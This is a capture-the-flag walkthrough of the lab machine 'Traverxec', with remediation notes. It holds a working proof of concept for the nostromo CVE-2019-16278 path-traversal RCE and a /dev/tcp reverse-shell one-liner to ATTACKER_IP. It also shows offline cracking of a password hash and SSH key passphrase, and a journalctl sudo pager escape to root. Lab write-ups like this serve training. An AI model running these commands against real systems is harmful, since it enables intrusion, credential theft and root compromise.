Traverxec
Summary
I exploited a critical path-traversal remote code execution bug in the nostromo 1.9.6 web server (CVE-2019-16278) to gain a shell as the web-service account www-data. Post-exploitation enumeration exposed david's encrypted SSH private key inside a world-readable directory served by the web server.
Cracking the key's passphrase offline provided SSH login as david. A misconfigured sudo rule that allowed david to run /usr/bin/journalctl as root was then abused through the standard GTFOBins pager escape to spawn a fully interactive root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Banner grab; confirms nostromo 1.9.6.
$ nmap -sV -p 80 --open $TARGETConfirms public exploit exists (EDB-ID 47837 / CVE-2019-16278).
$ searchsploit nostromo 1.9.6FixPatch or replace the nostromo web serverCritical
Exact commands 2
Manual PoC — replace the body bytes with any shell commands to run.
$ python3 - <<PY
import socket
host="$TARGET"; port=80
body=b'echo\necho\nid\n'
req=(b'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'
b'Host: '+host.encode()+b'\r\n'
b'Content-Length: '+str(len(body)).encode()+b'\r\n\r\n'+body)
s=socket.create_connection((host,port),5)
s.sendall(req)
s.shutdown(socket.SHUT_WR)
print(s.recv(4096).decode('latin1','replace'))
PYUse EDB-ID 47837 for a reverse shell; start listener with: nc -lvnp 4444
$ python3 47837.py $TARGET 80 'bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"'Exact commands 3
Reveals .htpasswd path, homedirs setting, and homedirs_public value.
$ cat /var/nostromo/conf/nhttpd.confRetrieve david's hashed password; copy hash to my machine.
$ cat /var/nostromo/conf/.htpasswdCrack the MD5-APR hash offline.
$ john --wordlist=/usr/share/wordlists/rockyou.txt htpasswd.txtFixRestrict access to credential files used by the web serverHigh
Exact commands 4
List the directory; reveals the backup archive filename.
$ ls -la /home/david/public_www/protected-file-area/Stage the archive for extraction.
$ cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/Extracts to home/david/.ssh/id_rsa — an encrypted RSA private key.
$ cd /tmp && tar xzf backup-ssh-identity-files.tgzPrepare key with correct permissions before exfiltrating to my machine.
$ cp /tmp/home/david/.ssh/id_rsa /tmp/traverxec_david_id_rsa && chmod 600 /tmp/traverxec_david_id_rsaFixRemove sensitive files from web-accessible home directories and disable homedirsCritical
Exact commands 3
Convert RSA key to a crackable hash format.
$ ssh2john /tmp/traverxec_david_id_rsa > /tmp/id_rsa.hashCracks immediately to: $PASSWORD
$ john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/id_rsa.hashStrip the passphrase for non-interactive use.
$ ssh-keygen -p -P "$PASSWORD" -N '' -f /tmp/traverxec_david_id_rsaFixEnforce strong SSH key passphrases and remove exposed key materialHigh
Exact commands 2
Log in as david; passphrase already stripped from key.
$ ssh -i /tmp/traverxec_david_id_rsa -o StrictHostKeyChecking=no david@$TARGETCaptures <user.txt>.
$ cat /home/david/user.txtExact commands 3
Confirm rule: (root) NOPASSWD: /usr/bin/journalctl
$ sudo -l$ timeout 20 bash -lc "(sleep 1; printf '!/bin/sh\n'; sleep 1; printf 'id\ncat /root/root.txt\n') | ssh -tt -o StrictHostKeyChecking=no -i /tmp/traverxec_david_id_rsa david@$TARGET 'stty rows 5 cols 80; sudo /usr/bin/journalctl -n5 -unostromo.service'"
uid=0(root)Interactive version: once 'less' opens, type !/bin/sh and press Enter to drop to root shell.
$ stty rows 5 cols 80 && sudo /usr/bin/journalctl -n5 -unostromo.serviceFixRemove sudo access to journalctl and audit all sudo rules for pager-invoking binariesCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 80/tcp | http nostromo 1.9.6 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.